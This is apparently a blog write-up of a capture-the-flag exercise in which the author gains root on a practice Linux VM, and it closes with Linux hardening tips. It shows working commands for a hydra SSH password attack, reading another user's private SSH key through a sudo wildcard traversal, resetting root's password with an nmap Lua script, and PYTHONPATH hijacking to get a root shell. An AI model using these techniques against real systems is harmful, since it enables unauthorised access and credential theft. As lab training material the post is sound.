Rob Sears bio photo

Rob Sears

       

Rocket scientist. Computer hacker. Geek before it was cool.

BTC Donations:
1AU9qGkSubhR24r8Y4WEoV8bccZjeT2dKg

I’ve spent the last few weeks participating in the SecureSet War Games Denver, and it’s been a lot of fun. The sessions are a mix of security lectures and hands on activities, with a few CTF type events thrown in there. We recently did a CTF game for gaining root access on a remote Linux VM, where we would need to identify and exploit weaknesses in the system as fast as possible. The winner would get a Sphero Ollie.

The premise of this exercise was the sysadmin has been fired, but he left backdoors for himself. As the new sysadmin, you need to hack into the box, gain root access, then disable the backdoors. The only info given initially was that the previous sysadmin’s username was pfisher and he had a weak password.

I was using my MacBook for the exercise, so the process below is specific to OSX. But I was using open source tools, and the commands can be easily translated to any *nix system

Probing the user

The first phase involves probing the user account. People are notoriously bad and lazy when it comes to password management. They prefer short, simple passwords and don’t have much creativity. That means that there are a ton of simple passwords that are used all the time. High profile hacks over the years have exposed lists of millions of plaintext passwords; analysis of this data has yielded sizable lists of common passwords.

All that to say when you know or suspect that a user is lazy, the first thing to probe is whether he/she is using one of the most common passwords. We can do this using a list of the most common passwords, called a “Dictionary Attack.” I used a tool called hydra for this:

brew install hydra --with-libssh # necessary to build with this

# Download a list of the 500 worst passwords out there:
wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2

# Extract the file from the BZ2:
bzip2 -d 500-worst-passwords.txt.bz2

# Run hydra against the user pfisher using that password list:
hydra -l pfisher -P 500-worst-passwords.txt <IP of server> ssh -V

It worked! pfisher is using letmein for his password. Terrible, pfisher, just terrible.

Probing the system

I was able to log into pfisher’s account using the credentials pfisher:letmein. Poking around a bit didn’t turn up anything useful. It was a standard setup: logging in put me in /home/pfisher, and I wasn’t able to access any other directory on the system. I checked to see if I could run any command as root and saw this:

[pfisher@linuxsecurity31 ~]$ sudo -l
[sudo] password for pfisher:
Matching Defaults entries for pfisher on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=PYTHONPATH,
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User pfisher may run the following commands on this host:
    (efarmer) /bin/less /home/efarmer/shared_files/*

So for some reason, the user efarmer is allowing pfisher to run less /home/efarmer/shared_files/* under his account. Okay… that seems kind of dumb. Using a wildcard like that means I can access any file, even . and ... This is due to how Linux handles files; everything is a file in Linux. Every directory contains a reference to itself (.) and to its parent (..).

In other words, this opens up a directory traversal exploit. I can now use combinations of .. to access pretty much any directory/file. This allowed me to find efarmer’s private RSA key:

sudo -u  efarmer less /home/efarmer/shared_files/../.ssh/id_rsa

Unfortunately, efarmer didn’t think to encrypt his key, which means anyone with the private key can log in to the server as him. Wait – you can encrypt encryption keys? Yes! Public key cryptography was developed in part to prevent passwords from being necessary. You prove your identity by providing a private key that matches your public key instead of authenticating with a password. Passwords can be guessed (see above), but private keys are much more secure.

However, anyone who can compromise your private key can authenticate as you. Fortunately, you can encrypt your private key so that a password is required before the private key can be used for authentication. It’s a form of multifactor authentication for secure communications. efarmer didn’t take this step, so I can now authenticate as him using the sudo command above.

I copied this to my local .ssh directory into a file called linuxsec and set the proper file permissions, then I was able to log back into the server as efarmer:

ssh [email protected] -i ~/.ssh/linuxsec

Connection successful. Nice!

Pwning Linux with Lua

Now that I’m logged in as efarmer, let’s see what I can do as sudo:

[efarmer@linuxsecurity31 ~]$ sudo -l
Matching Defaults entries for efarmer on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=PYTHONPATH,
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User efarmer may run the following commands on this host:
    (root) /usr/bin/docker
    (root) NOPASSWD: /usr/bin/nmap
    (root) /usr/bin/python /usr/local/bin/webapp.py, (root) /usr/bin/pkill -f
    webapp

WTF? For some reason, efarmer has access to nmap as root with no password input required. Nmap is an amazing tool for infosec, but one really cool thing about it is its ability to execute scripts. Since efarmer can execute nmap as root, any code run by the script is also run as root. Nmap’s default scripting language is Lua, which is Python-like and thus pretty easy to use. I ended up doing something kind of dumb here:

echo "os.execute(\"echo 'AlSkDjFh' | passwd --stdin root\")" > hack
sudo nmap --script=hack

This basically just changed the root user’s password to AlSkDjFh. From there, it was a pretty simple matter to get root access:

[efarmer@linuxsecurity31 ~]$ exit
logout
Connection to 184.172.36.203 closed.
[rob@Robs-MacBook-Pro ~]$ ssh root@<IP of server>
[email protected]\'s password: AlSkDjFh
[root@linuxsecurity31 ~]# id
uid=0(root) gid=0(root) groups=0(root)

Boom! This box has been pwned.

You pwned us wrong!

The funny thing is that this wasn’t really the intended path to pwnage. I demo’d my method to the SecureSet folks, and they explained there was actually another way to do it. Apparently I missed something much easier.

Hmm. I logged out of root and back in as efarmer. Some more poking around, and I found his mailbox:

$ cat /var/mail/efarmer
From [email protected]  Sun Nov  1 22:45:43 2015
Return-Path: <[email protected]>
X-Original-To: efarmer
Delivered-To: [email protected]
Received: by test.localdomain (Postfix, from userid 0)
	id CD6C964706; Sun,  1 Nov 2015 22:45:42 -0600 (CST)
Date: Sun, 01 Nov 2015 22:45:42 -0600
To: [email protected]
Subject: Re: sudo access isn't working
User-Agent: Heirloom mailx 12.5 7/5/10
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
From: [email protected] (root)

i got your sudo access fixed, i didn't need your password

Huh? It took me a few minutes to understand this message. efarmer had apparently emailed his password to the sysadmin to grant him sudo access. So his password is probably floating around somewhere in root’s inbox.

I know root’s password now, but I’ll pretend I don’t. Instead, it’s back to using nmap to exploit this vulnerability. I could use the same technique of scripting to make nmap print out root’s inbox, but I can do it another way here. Nmap can read files, like a list of IP addresses. Since it’s running as root, no pesky permissions can block it from reading root’s mail. It will error out of course, but who cares?

[efarmer@linuxsecurity31 ~]$ sudo nmap -iL /var/mail/root

Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-03 00:27 CST
Failed to resolve "From".
Failed to resolve "MAILER-DAEMON".
... lots and lots of "Failed to resolve" lines. Here are the interesting ones:
Failed to resolve "my".
Failed to resolve "pass".
Failed to resolve "is".
Failed to resolve "'cah2Thah'".

Lulz. I now have efarmer’s password: cah2Thah. So I can run other things as root, like Docker, or launching/killing the Python web app. Let’s remind ourselves what sudo powers efarmer has:

[efarmer@linuxsecurity31 ~]$ sudo -l
Matching Defaults entries for efarmer on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=PYTHONPATH,
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User efarmer may run the following commands on this host:
    (root) /usr/bin/docker
    (root) NOPASSWD: /usr/bin/nmap
    (root) /usr/bin/python /usr/local/bin/webapp.py, (root) /usr/bin/pkill -f
    webapp

Hmm. I wonder what’s in /usr/local/bin/webapp.py?

[efarmer@linuxsecurity31 ~]$ cat /usr/local/bin/webapp.py
from flask import Flask
app = Flask(__name__)

@app.route('/')
def home():
    return 'Stay tuned, our latest and greatest webapp is under development!'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=81)

That’s a… nice start for a Flask app. But there is something interesting here. The script is importing the flask library from PYTHONPATH… which efarmer has the ability to change. This means that I can tell Python to import Python scripts from efarmer’s home directory, which will then be run as root. Squee!

In theory, I could write a module called flask.py that changes the system configurations around somehow. I could give efarmer root access a number of different ways, but I actually found a really lazy thing to do:

[efarmer@linuxsecurity31 ~]$ export PYTHONPATH="/home/efarmer"; sudo python /usr/local/bin/webapp.py
[root@linuxsecurity31 efarmer]# id
uid=0(root) gid=0(root) groups=0(root)

Booya! I’m now root once again. Exiting drops me back to the python script, which complains that the flask module can’t be found. Which is fine, because I can now become root at will without even needing to SSH into the server. This box has been double-pwned!

The last possibility here is Docker. I’m less familiar with that than Python, so I don’t know if there is a legit privilege escalation vulnerability there, but I imagine it’s possible. That or it’s just a red herring. In any case, this box has been pwned twice with two different methods.

A winner is you!

For my troubles, I won a cool little programmable robot, an Ollie by Sphero. It can be programmed in Objective-C, Swift or Java (Android). I’ve never made an app with any of those platforms before, so this will be an interesting learning experience.

Wrapping up

All in all, it was a really fun experience. It also was a good reminder of some best practices for Linux security:

  1. Encrypt your private keys!
  2. Disable password logins via SSH in favor of public key cryptography
  3. Have a good password policy – you can use pam_cracklib.so to ensure that user passwords aren’t susceptible to dictionary attacks.
  4. Don’t arbitrarily give sudo access to users. Use a policy of least privilege
  5. Don’t ever use wildcards with sudo access